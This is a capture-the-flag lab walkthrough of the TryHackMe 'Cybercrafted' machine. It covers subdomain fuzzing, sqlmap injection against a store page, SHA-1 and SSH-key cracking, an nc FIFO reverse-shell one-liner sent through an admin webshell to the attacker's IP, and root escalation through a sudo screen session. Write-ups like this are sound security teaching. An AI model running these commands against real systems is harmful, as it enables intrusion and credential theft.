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Cybercrafted THM Machine by Winter 
 
Today we face a real enemy: microtransactions on video game servers. Today, we have a 
very special one: a Minecraft pay-2-win server! 
On this server, we will simulate a black-hat pentest on a Minecraft server FULL of 
microtransactions and micropayments. So let's get to it!  
 
DISCLAIMER: TryHackMe has several questions that I will NOT ANSWER DIRECTLY in this 
writeup, but by following it, you will be able to answer them without any problems. In this 
case, I WILL capture ALL THE FLAGS. Keep this in mind when following this writeup. 
 

ENUMERATION & FIRST FLAGS 
First of all, we will start by performing an in-depth nmap scan to check all the TCP ports and 
services, as well as the service versions and common scripts. We will perform a full-range 
scan as Minecraft servers could have strange ports hosting the game world itself and the 
related assets. 
 
nmap -p- -sV -sC -Pn --min-rate 5000 --open 10.10.106.243 -vvv 
 

 
 
As we can see we have the following ports: 

●​ 22/TCP port: A ssh port, without anonymous login. 
●​ 80/TCP port: An http port hosting the webpage for the Minecraft server. 
●​ 25565/TCP port: As i said, that’s the minecraft port, you have to connect to it through 

the game itself in order to play in the Cybercrafted world. 
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Let’s check the webpage of the server to enumerate more information about the server itself. 
 

 
 
As soon as you land on the website, they announce that the server has a store. But let’s 
check deeper, the webpage is a single background image, so let’s see if there’s something 
interesting in the source code of the web. 
 

 
 
Everything seems normal, but there's a commentary saying that the site's subdomains are 
now available. You know what that means… let's fuzz!  
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wfuzz -c -w 
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-1
10000.txt -u http://cybercrafted.thm -H "Host: 
FUZZ.cybercrafted.thm" --sc 200,403 
 
I added the flag --sc to filter the output, so we don’t have thousands of errors on screen. 
(I'm clarifying this because for some reason I don't often see many people using that flag, 
but I feel it could be useful.) I also highly recommend using the SecLists wordlists for Hydra, 
fuzzing, and so on. But for most CTF, default and common wordlists as rockyou.txt and 
directory 2.3 should be enough. 
 

 
 
For now we found 3 subdirs: 

●​ www.cybercrefted.thm 
●​ store.cybercrafted.thm 
●​ admin.cybercrafted.thm 

 
Let’s check them out. 
store.cybercrafted.thm 
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admin.cybercrafted.thm 

 
 
However, checking the website, it appears that the server uses Apache and PHP. Let's 
check the file extensions of store.cybercrafted.thm file, so it will most likely have some 
index.php or a similar file. 

 
 
We will use gobuster for that purpose: 
gobuster dir -u http://store.cybercrafted.thm/ -w 
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2
.3-medium.txt -x php,html,js,css,txt 
 
I also added html, js, css and txt just in case.  
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As i said, there’s a search.php accessible, also we have an assets folder. Let’s check both 
pages. 
 

 
 
Nothing really interesting in the assets folder… Let’s move on. 
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Ok that got interesting, it seems like a SQL database. And 5$ for a Netherite Sword 
reinforces the point I made about microtransactions. 
 
Upon closer inspection, it appears that a PHP script is interacting with a SQL database on 
the server, even though no SQL port is exposed at first glance. 
Let’s check the search.php script with SQLMap to see if we have any SQL injections here. 
 
sqlmap -url http://store.cybercrafted.thm/search.php --forms --dump 
 
Here, SQLMap gives us some interesting results: 

 
 
We have a user hash that has 40 hexadecimal characters, so it's probably SHA-1. Let’s use 
hashcat to try to decrypt it. 
We also have the first flag with the ID 4. 
 
We create the hash.txt with the password hash for xXUltimateCreeperXx: 
echo "88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01" > hash.txt 
 
And now we will use hashcat with that file, and since it’s SHA-1 we will use -m100 to set the 
mode to SHA-1. 
hashcat -m100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt 
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Now we have some proper credentials, xXUltimateCreeperXx:diamond123456789 
Let’s try it on the admin panel of the webpage. 
 

 
 
It worked, and it seems that we now have a webshell. Let’s try some commands to confirm it. 

 
 
Yes, indeed, it’s a webshell. Time to get a reverse shell from that webshell. 
First of all, let’s start a listener with nc -lvnp 4455 on our system 

 
 
Now, with that being set, let’s try to send the payload through the webshell 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.6.10 4455 
>/tmp/f 

 

 
 
There we go, we’re in. Now let’s explore a little bit inside of the system to check the files and 
the directories. 
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We can see that we have two users: cybercrafted and xxultimatecreeperxx. Remember we 
have an ssh service running on the machine. 
 
I tried the credentials we got before from the SQLMap for the user xxultimatecreeperxx, but 
didn’t worked. 
 
Anyways i found that into the xxultimatecreeperxx home directory. 

 
 
It seems that he has a .ssh folder that most likely will contain an id_rsa into it. 
 

 
 
Indeed it does! Let’s copy that file and use John the Ripper to decipher the passphrase in 
order to use it as a login method for the SSH service on the victim machine. 
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Now we have to copy all the contents of id_rsa to a file called id_rsa on our machine. 
 

 
 
There we go, now we will use ssh2john id_rsa > id_rsa.hash to create a file ready to use with 
John, as john doesn't have the capability of processing the file id_rsa itself. 
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john --wordlist=/usr/share/wordlists/rockyou.txt --rules id_rsa.hash 
 
I have added the --rules flag so that John can try variations with the wordlist to increase the 
chances of finding the correct passphrase. 

 
 
And we have the passphrase! It seems to be “creepin2006”, nice, let’s give it the correct 
permissions: 
chmod 600 id_rsa 
 
And then ssh -i id_rsa xxultimatecreeperxx@10.10.106.243: 
It will ask you for the passphrase, and then if everything is correct, you should be in. 
 
Make sure to use sudo if you’re not root in your machine, for both chmod and ssh. 

 
 
Now, again, time to explore for a bit into the system. 
After a while, i find a folder in /opt/minecraft that contains some interesting files:  

 
 
Let’s check that note: 
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You can get the minecraft_server_flag.txt here!  

 

 
Now let’s check that plugin.  

USER FLAG 
We will navigate to the folder in /opt/minecraft/cybercrafted, because that’s the game server 
folder. 

 
 
From that we can see that the game versions is 1.7.2. 
If we check the folder “plugins” we can see that the implemented plugin is “LoginSystem” 
Lets go deeper and check the LoginSystem’s folder: 

 
 
passwords.yml! We found gold!  

 
 
That’s awesome, but a bit later i found something even better: If you check log.txt the 
passwords are in CLEAR TEXT!  
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PRIVILEGE ESCALATION & ROOT FLAG 

 
 
That means that we have the password for cybercrafted: JavaEdition>Bedrock 
 
Now we just have to use su cybercrafted to change the user! 

 
 
The next step is to check for the user flag and escalate privileges. 

 

 
 
Once that's done, it's time to escalate privileges. 

 
 
The Kernel version is 4.15.0-159-generic 

 
It seems that we have multiple vulnerabilities that we can exploit in order to escalate 
privileges, let’s enumerate further information.  
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There is nothing that appears exploitable in this crontab directly. 
 

 
 
Alright that’s better: 
User cybercrafted may run the following commands on cybercrafted: 
    (root) /usr/bin/screen -r cybercrafted 
 
That actually seems like a good escalation vector. Let’s check it on GTFOBins 
 

 
 

 

https://gtfobins.github.io/
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Interesting, let’s have in mind that we only have permission to execute /usr/bin/screen 
-r cybercrafted without modifications. 
Let’s try it. 
 

 
 
Let me fix that real quick with export TERM=xterm 
 
What's going on here? The server is starting up. 
Java warnings are normal in older versions; they don't break anything. 
It's running in offline mode, so any player can connect with any name. 
The LoginSystem plugin isn't loading well and everything else is startup logs: loading world, 
generating keypair, preparing spawn, etc. 
 
Now, how do we relate that to the “screen” binary? 
Let’s connect dots. Here’s the deal: 
Diving into the screen documentation I've seen that “screen” is a terminal multiplexer. In the 
context of Minecraft, this lets the server keep running in the background, even if you log out 
of SSH. 
 
You can reattach to that session anytime to see logs, type commands, or interact with the 
server and you can also do something interesting. With Ctrl+A+C screen creates a new 
window within the same screen session.  
And considering that we have run screen as root, that new session window should be ROOT. 
 
And that’s our escalation vector, pressing Ctrl+A+C 
 
 
 

 

https://www.gnu.org/software/screen/manual/screen.html
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I have taken the time to explain this in depth because, although at first glance this may seem 
no more important than a privilege escalation for this CTF, after solving the machine and 
getting stuck on this step for quite some time, I wanted to see if other people solved this 
machine in a more “simple” way. What I discovered is that no one explains why these steps 
should be followed; they simply show a screenshot of the sudo -l command and say that you 
have to press Ctrl+A+C, without giving any further information as to why. Therefore, here is a 
clear explanation of how screen works and why you can escalate privileges in this way. 
 
Without further delay, let's capture the root flag by running cat /root/root.txt 

 
 
That's it, we're done! I found it to be a really fun machine and, once again, well set up and 
equipped. Thank you very much for taking the time to read this writeup. I hope you've 
learned something new. 
That said, I'll sign off now. See you in another writeup! 
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